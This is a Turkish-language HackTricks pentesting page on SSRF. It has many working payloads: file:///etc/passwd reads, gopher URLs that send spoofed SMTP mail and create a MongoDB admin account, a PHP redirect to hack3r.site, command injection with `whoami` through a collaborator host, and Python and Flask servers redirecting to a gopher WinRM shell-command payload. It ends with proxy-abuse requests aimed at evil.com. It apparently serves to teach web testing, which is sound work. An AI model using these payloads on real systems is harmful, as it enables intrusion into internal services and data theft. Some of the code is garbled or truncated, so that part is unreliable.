hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-04-06 19:40:41 +00:00
..
cloud-ssrf.md GitBook: No commit message 2024-04-06 19:40:41 +00:00
README.md GitBook: No commit message 2024-04-06 19:40:41 +00:00
ssrf-vulnerable-platforms.md Translated to Turkish 2024-02-10 18:14:16 +00:00
url-format-bypass.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:57 +00:00

SSRF (Server Side Request Forgery)


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatikleştirilmiş iş akışları oluşturun.
Bugün Erişim Edinin:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan Kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyeti, bir saldırganın bir sunucu tarafı uygulamasını manipüle ederek istedikleri bir alan adına HTTP istekleri yapmasına neden olduğunda ortaya çıkar. Bu zafiyet, saldırgan tarafından yönlendirilen keyfi harici isteklere sunucuyu maruz bırakır.

SSRF Yakalama

İlk yapmanız gereken şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:

Beyaz Listeli Alanlar Geçişi

Genellikle SSRF'nin yalnızca belirli beyaz listeli alanlarda veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için derlenmiş tekniklerin bir derlemesi bulunmaktadır:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

ık yönlendirmeyi kullanarak Atlatma

Sunucu doğru şekilde korunuyorsa, bir web sayfası içindeki bir Açık Yönlendirme'yi sömürerek tüm kısıtlamaları atlayabilirsiniz. Çünkü web sayfası aynı alan adına SSRF'ye izin verecek ve muhtemelen yönlendirmeleri takip edecektir, Sunucunun iç herhangi bir kaynağa erişmesi için Açık Yönlendirmeyi sömürebilirsiniz.
Daha fazla bilgi için buraya bakın: https://portswigger.net/web-security/ssrf

Protokoller

  • file://
  • file:// URL şeması, doğrudan /etc/passwd'ye işaret eder: file:///etc/passwd
  • dict://
  • DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişmek için kullanıldığı şekilde açıklanmıştır. Verilen bir örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL'i ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanılmasını göstermektedir: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanan bir örnek, bir PHP betiğinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl sömürülebileceğini göstermektedir: url=sftp://generic.com:11111/
  • TFTP://
  • UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna bir istek göndermek için tasarlandığı şekilde belirtilmiştir. 'generic.com' üzerinde '12346' portuna 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Bu bölüm, IP ağları üzerinde dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsamaktadır. Localhost'taki bir LDAP sunucusuyla etkileşim: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • SSRF zafiyetlerini kullanarak localhost'taki SMTP hizmetleriyle etkileşimde bulunmak için bir yöntem açıklanmaktadır, dahili alan adlarını ortaya çıkarmak için adımlar ve bu bilgilere dayalı daha fazla araştırma eylemleri içerir.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Eğer SSRF curl tarafından yürütülüyorsa, curl'ün URL globbing adında bir özelliği vardır ve bu özellik WAF'leri atlatmak için kullanışlı olabilir. Örneğin bu yazıda file protokolü aracılığıyla yol geçişi için bir örnek bulabilirsiniz:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher protokolünün IP, port ve baytları belirtme yeteneği ele alınırken, Gopherus ve uzak-yöntem-tahmincisi gibi araçlarla yük oluşturmak için tartışılmaktadır. İki farklı kullanım örneği verilmiştir:

Gopher://

Bu protokolü kullanarak sunucunun göndermesini istediğiniz IP, port ve baytları belirtebilirsiniz. Sonra, temelde bir SSRF'yi sömürerek herhangi bir TCP sunucusuyla iletişim kurabilirsiniz (ancak önce hizmetle nasıl iletişim kurulacağını bilmelisiniz).
Neyse ki, çeşitli hizmetler için yük oluşturmak için Gopherus kullanabilirsiniz. Ayrıca, Java RMI hizmetleri için gopher yükleri oluşturmak için remote-method-guesser kullanılabilir.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337'e geri bağlanma

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Kullanıcı oluştur: kullanıcı adı=admin, şifre=admin123 ve izin=administrator olarak.

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

Referrer başlığı aracılığıyla SSRF ve Diğerleri

Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahtekarlığı (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri ziyaret ederek yönlendirme sitesi içeriğini analiz etmek için kullanabilir. Bu açıkları ortaya çıkarmak için, Burp Suite eklentisi "Collaborator Everywhere" önerilir, analiz araçlarının Referer başlığını nasıl işlediğini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek.

Sertifikadan SNI verileri aracılığıyla SSRF

Herhangi bir arka uca bağlantıyı etkinleştirebilecek bir yanlış yapılandırma, bir Nginx yapılandırması örneği ile açıklanmıştır:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca istenen IP adresini veya alan adını SNI alanında belirterek sömürülebilecek bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyetine maruz kalır. openssl komutunu kullanarak, örneğin internal.host.com gibi keyfi bir arka uca bağlantı zorlamak için bir sömürü örneği aşağıda verilmiştir:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget dosyası yükleme

Komut Enjeksiyonu ile SSRF

url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` gibi bir yük denemeye değer olabilir.

PDF'lerin Oluşturulması

Web sayfası, sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, PDF oluşturulurken sunucu tarafından yürütülecek olan bazı JS kodlarını ekleyebilirsiniz ve bir SSRF'yi kötüye kullanabilirsiniz. Daha fazla bilgiyi buradan bulabilirsiniz.

SSRF'den DoS'a

Birkaç oturum oluşturun ve oturumlardan SSRF'yi kötüye kullanarak ağır dosyalar indirmeyi deneyin.

SSRF PHP Fonksiyonları

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Gopher'a Yönlendirme ile SSRF

Bazı kötüye kullanımlar için bir yönlendirme yanıtı göndermeniz gerekebilir (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Edinin:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Yanlış yapılandırılmış proxy'ler için SSRF

Bu yazıdan hileler.

Flask

Flask proxy açığı olan kod

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask, **`@`** karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da **başlangıç ana bilgisayar adını kullanıcı adı yapar** ve yeni bir tane enjekte etmeyi sağlar. Saldırı isteği:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Zararlı kod:

Keşfedildi ki bir isteğin yolunu karakter ; ile başlatmak mümkündür, bu da daha sonra @ kullanarak yeni bir ana bilgisayar enjekte etmeye olanak tanır. Saldırı isteği:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Dahili Web Sunucusu